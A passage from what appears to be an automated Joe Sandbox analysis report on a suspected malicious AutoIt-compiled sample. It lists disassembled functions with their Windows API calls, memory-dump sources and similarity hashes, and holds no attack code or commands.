                                                • Instruction Fuzzy Hash: 4521FB71B00204ABDB20AA619C86EAEBBADEF4AB14F080025F905E7341D672DD4597F1
                                                Function 00D812F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D8134D
                                                • SelectObject.GDI32(?,00000000), ref: 00D8135C
                                                • BeginPath.GDI32(?), ref: 00D81373
                                                • SelectObject.GDI32(?,00000000), ref: 00D8139C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ObjectSelect$BeginCreatePath
                                                • String ID:
                                                • API String ID: 3225163088-0
                                                • Opcode ID: b753b9b2e807961d544de95d676d1e9d9d07b63f39ca577bcb9232d2b6affcd8
                                                • Instruction ID: 34e9a6ed2fabeade6ecd04f44adc7bab029f311c8db219c41f4a2733b2c7430b
                                                • Opcode Fuzzy Hash: b753b9b2e807961d544de95d676d1e9d9d07b63f39ca577bcb9232d2b6affcd8
                                                • Instruction Fuzzy Hash: 8A217478800308DFDB15AF66EC057697BBCFB16322F144226F414B65A0D371989FDBA1
                                                Function 00DDC161 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memcmp
                                                • String ID:
                                                • API String ID: 2931989736-0
                                                • Opcode ID: 159ecc114cba4e156f57b1cfdee026de4c556fd769a3114f84715ab247eada7e
                                                • Instruction ID: 323efb6c8f3d220aac539e8d622800d6375c477952130b6c6779044b9ccf9d9f
                                                • Opcode Fuzzy Hash: 159ecc114cba4e156f57b1cfdee026de4c556fd769a3114f84715ab247eada7e
                                                • Instruction Fuzzy Hash: 0D0192B16143277BE214B6209C42EAB635CDF22394F085126FE04E6383E661EE61C2F0
                                                Function 00DE4D35 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 00DE4D5C
                                                • __beginthreadex.LIBCMT ref: 00DE4D7A
                                                • MessageBoxW.USER32(?,?,?,?), ref: 00DE4D8F
                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00DE4DA5
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00DE4DAC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                                • String ID:
                                                • API String ID: 3824534824-0
                                                • Opcode ID: dec6112eb43bff5ffade82c9dc20ee4d95b3d11eb28267ebf1a1e7c44837be6f
                                                • Instruction ID: 9fa625455ff03b182124c481cb7812b9adbfa111e4482e27f5e31dc06e30ac02
                                                • Opcode Fuzzy Hash: dec6112eb43bff5ffade82c9dc20ee4d95b3d11eb28267ebf1a1e7c44837be6f
                                                • Instruction Fuzzy Hash: 9D112B76904248BFC7119FAADC04ADB7FACEB46320F144365F914E3261D6B5CD4887B1
                                                Function 00DD874A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00DD8766
                                                • GetLastError.KERNEL32(?,00DD822A,?,?,?), ref: 00DD8770
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00DD822A,?,?,?), ref: 00DD877F
                                                • HeapAlloc.KERNEL32(00000000,?,00DD822A,?,?,?), ref: 00DD8786
                                                • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00DD879D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 842720411-0
                                                • Opcode ID: 836317e45a1cb3801b46f56071202f0cf531b932e391070a3595ac130acbcfa8
                                                • Instruction ID: b65001e961d112404eef69a4655a8132aa5d811ff1cf56e4086a1c85fc6b513e
                                                • Opcode Fuzzy Hash: 836317e45a1cb3801b46f56071202f0cf531b932e391070a3595ac130acbcfa8
                                                • Instruction Fuzzy Hash: D3016D71601204FFDB314FA6EC88D6B7BACFF89355720043AF849D2260DA329C54DA70
                                                Function 00DE54E6 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DE5502
                                                • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00DE5510
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DE5518
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00DE5522
                                                • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DE555E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                • String ID:
                                                • API String ID: 2833360925-0
                                                • Opcode ID: 6492f9e421fd1142a40523d0f2b448c7f219759a07b9e471e1588107c716346d
                                                • Instruction ID: 91bfeee38e64a5882e309b636d6971d98653bd397a5a2ef975aa8c4790641bd6
                                                • Opcode Fuzzy Hash: 6492f9e421fd1142a40523d0f2b448c7f219759a07b9e471e1588107c716346d
                                                • Instruction Fuzzy Hash: FE01AD31C01A19DBCF10EFEAE8885EDBB78FB09305F400056E802B2144CB3185A4C7B1
                                                Function 00DD7652 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?,?,00DD799D), ref: 00DD766F
                                                • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?), ref: 00DD768A
                                                • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?), ref: 00DD7698
                                                • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?), ref: 00DD76A8
                                                • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?), ref: 00DD76B4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: From$Prog$FreeStringTasklstrcmpi
                                                • String ID:
                                                • API String ID: 3897988419-0
                                                • Opcode ID: 672df2f1ca05adc268e22cf238caba53adbffdade9e44f5ec16cf9d60802db44
                                                • Instruction ID: d564b4811b931a83bb6e4e9e6da791881b1b3a0605a69cfe65cd45576b8caca5
                                                • Opcode Fuzzy Hash: 672df2f1ca05adc268e22cf238caba53adbffdade9e44f5ec16cf9d60802db44
                                                • Instruction Fuzzy Hash: 11017172601604AFDB209F59DC44AAA7BADEB44751F14406AFD04E2211FB32DD5497B0
                                                Function 00DD85F1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00DD8608
                                                • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00DD8612
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00DD8621
                                                • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00DD8628
                                                • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00DD863E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: 10528feaa37a024a8c858610dcf69195f94ef77f387f463fd4d0e4207835203b
                                                • Instruction ID: d50ea20eef25d1f8ff2f8a8f11d8f2b2cf98f7ce25f534d84f60b4bbff87e2e8
                                                • Opcode Fuzzy Hash: 10528feaa37a024a8c858610dcf69195f94ef77f387f463fd4d0e4207835203b
                                                • Instruction Fuzzy Hash: 87F06231205305AFEB210FAADC8DF6B3BACEF89764B044426F945D6250CB72DC95EA70
                                                Function 00DD8652 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00DD8669
                                                • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00DD8673
                                                • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD8682
                                                • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD8689
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD869F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: 59ac022b291e54198a6d576f9bff4b4178fe3dab5dda9ad2c7e101607a4eef51
                                                • Instruction ID: a4a3f71f97b1b5f86469d49a6a86e0239424b8ac866a797131ef5a5163c4edd4
                                                • Opcode Fuzzy Hash: 59ac022b291e54198a6d576f9bff4b4178fe3dab5dda9ad2c7e101607a4eef51
                                                • Instruction Fuzzy Hash: D0F04F71201305BFEB321FA6EC88E673BACEF89764B140026F945D7250CA62D995EA70
                                                Function 00DDC6A6 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,000003E9), ref: 00DDC6BA
                                                • GetWindowTextW.USER32(00000000,?,00000100), ref: 00DDC6D1
                                                • MessageBeep.USER32(00000000), ref: 00DDC6E9
                                                • KillTimer.USER32(?,0000040A), ref: 00DDC705
                                                • EndDialog.USER32(?,00000001), ref: 00DDC71F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                • String ID:
                                                • API String ID: 3741023627-0
                                                • Opcode ID: 5188f1cc19d27efdc0b4bfcf0c80136ccd7d18dca2f56ba9df8d3378e6f37110
                                                • Instruction ID: 915f4142e9c3e5305bc553b571306fce2418c71bd228919c36342ddc7075881f
                                                • Opcode Fuzzy Hash: 5188f1cc19d27efdc0b4bfcf0c80136ccd7d18dca2f56ba9df8d3378e6f37110
                                                • Instruction Fuzzy Hash: 95016230510705ABEB315B61ED4EF9677B8FF00705F04166AF582B15E1DBE2A9A8CFA0
                                                Function 00D813B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                Download Yara Rule
                                                APIs
                                                • EndPath.GDI32(?), ref: 00D813BF
                                                • StrokeAndFillPath.GDI32(?,?,00DBBAD8,00000000,?), ref: 00D813DB
                                                • SelectObject.GDI32(?,00000000), ref: 00D813EE
                                                • DeleteObject.GDI32 ref: 00D81401
                                                • StrokePath.GDI32(?), ref: 00D8141C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Path$ObjectStroke$DeleteFillSelect
                                                • String ID:
                                                • API String ID: 2625713937-0
                                                • Opcode ID: 35d06045ef61299cd24e3f2b7612f67c1889a1448d5d9951a3dd0e90ec985f1e
                                                • Instruction ID: d49d92a85002de50081387566306b29e40c976a0d2b8a01baf998e2522b1a6ad
                                                • Opcode Fuzzy Hash: 35d06045ef61299cd24e3f2b7612f67c1889a1448d5d9951a3dd0e90ec985f1e
                                                • Instruction Fuzzy Hash: F4F0CD78004308DFDB255F1BEC0C7543BA8A746326F08C224E469654F1C73245AEDF61
                                                Function 00DEC602 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00DEC69D
                                                • CoCreateInstance.OLE32(00E12D6C,00000000,00000001,00E12BDC,?), ref: 00DEC6B5
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                • CoUninitialize.OLE32 ref: 00DEC922
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateInitializeInstanceUninitialize_memmove
                                                • String ID: .lnk
                                                • API String ID: 2683427295-24824748
                                                • Opcode ID: 66a85bcc019286580991645ac8736dd13c25781cdb324b3c28051111f7668afa
                                                • Instruction ID: cb0d14f6658621651d00d4c36debc4ec66db49a0b7ee962a43d33e474aa17837
                                                • Opcode Fuzzy Hash: 66a85bcc019286580991645ac8736dd13c25781cdb324b3c28051111f7668afa
                                                • Instruction Fuzzy Hash: 8DA11871108205AFD304FF64C891EABB7E8EF84704F04491CF196971A2EB71EA49CBB2
                                                Function 00D92E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DA0FF6: std::exception::exception.LIBCMT ref: 00DA102C
                                                  • Part of subcall function 00DA0FF6: __CxxThrowException@8.LIBCMT ref: 00DA1041
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00D87BB1: _memmove.LIBCMT ref: 00D87C0B
                                                • __swprintf.LIBCMT ref: 00D9302D
                                                Strings
                                                • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00D92EC6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                                • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                • API String ID: 1943609520-557222456
                                                • Opcode ID: 81e14169e6065ffeef2b5d4a334247452a67f6f85eaada20a9ceef2a8602ba6c
                                                • Instruction ID: b707254700deb4a18af9c2dfb24c6d4cf751dcada9afc966d2eeb78b4b99e724
                                                • Opcode Fuzzy Hash: 81e14169e6065ffeef2b5d4a334247452a67f6f85eaada20a9ceef2a8602ba6c
                                                • Instruction Fuzzy Hash: 67916A71108302AFCB28FF24D895D6EB7A8EF85740F14491DF4969B2A1DB60EE44CB72
                                                Function 00DEBBA6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D848A1,?,?,00D837C0,?), ref: 00D848CE
                                                • CoInitialize.OLE32(00000000), ref: 00DEBC26
                                                • CoCreateInstance.OLE32(00E12D6C,00000000,00000001,00E12BDC,?), ref: 00DEBC3F
                                                • CoUninitialize.OLE32 ref: 00DEBC5C
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                • String ID: .lnk
                                                • API String ID: 2126378814-24824748
                                                • Opcode ID: b1480aaf8f30dadb8626c4b801b236c8a6c036e50649c7509398fc57fc8a14e9
                                                • Instruction ID: fbf6e38eea0cc037a29ca2ebc66000fb49c81b39dbab23b80396b41a40990d09
                                                • Opcode Fuzzy Hash: b1480aaf8f30dadb8626c4b801b236c8a6c036e50649c7509398fc57fc8a14e9
                                                • Instruction Fuzzy Hash: 62A147752043419FCB04EF25C894D6ABBE5FF88324F188959F89A9B361CB31ED45CBA1
                                                Function 00DDB7B6 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • OleSetContainedObject.OLE32(?,00000001), ref: 00DDB981
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ContainedObject
                                                • String ID: AutoIt3GUI$Container$%
                                                • API String ID: 3565006973-1286912533
                                                • Opcode ID: 97c4efd6a6b3e2ae3468ebc2affb1cd7e6f32e98c562e84f83a14905baa87b52
                                                • Instruction ID: b3ec2155f055f4a71d2816005a4a7b0418b74379bc1d92ff39b55eea14e18b6b
                                                • Opcode Fuzzy Hash: 97c4efd6a6b3e2ae3468ebc2affb1cd7e6f32e98c562e84f83a14905baa87b52
                                                • Instruction Fuzzy Hash: DC914B70600201DFDB24CF68C885A6ABBE8FF49714F15856EE946DB791DBB0E840CB60
                                                Function 00DA524D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                Download Yara Rule
                                                APIs
                                                • __startOneArgErrorHandling.LIBCMT ref: 00DA52DD
                                                  • Part of subcall function 00DB0340: __87except.LIBCMT ref: 00DB037B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorHandling__87except__start
                                                • String ID: pow
                                                • API String ID: 2905807303-2276729525
                                                • Opcode ID: 009d80c60f9d8a0c96f095857ac9011840ff7017fbb13ebaa6e8aa69994c246d
                                                • Instruction ID: 1487250bfba2c0abd3acd71ae440238d8a7f669ea135359249ae90ca34c82c2b
                                                • Opcode Fuzzy Hash: 009d80c60f9d8a0c96f095857ac9011840ff7017fbb13ebaa6e8aa69994c246d
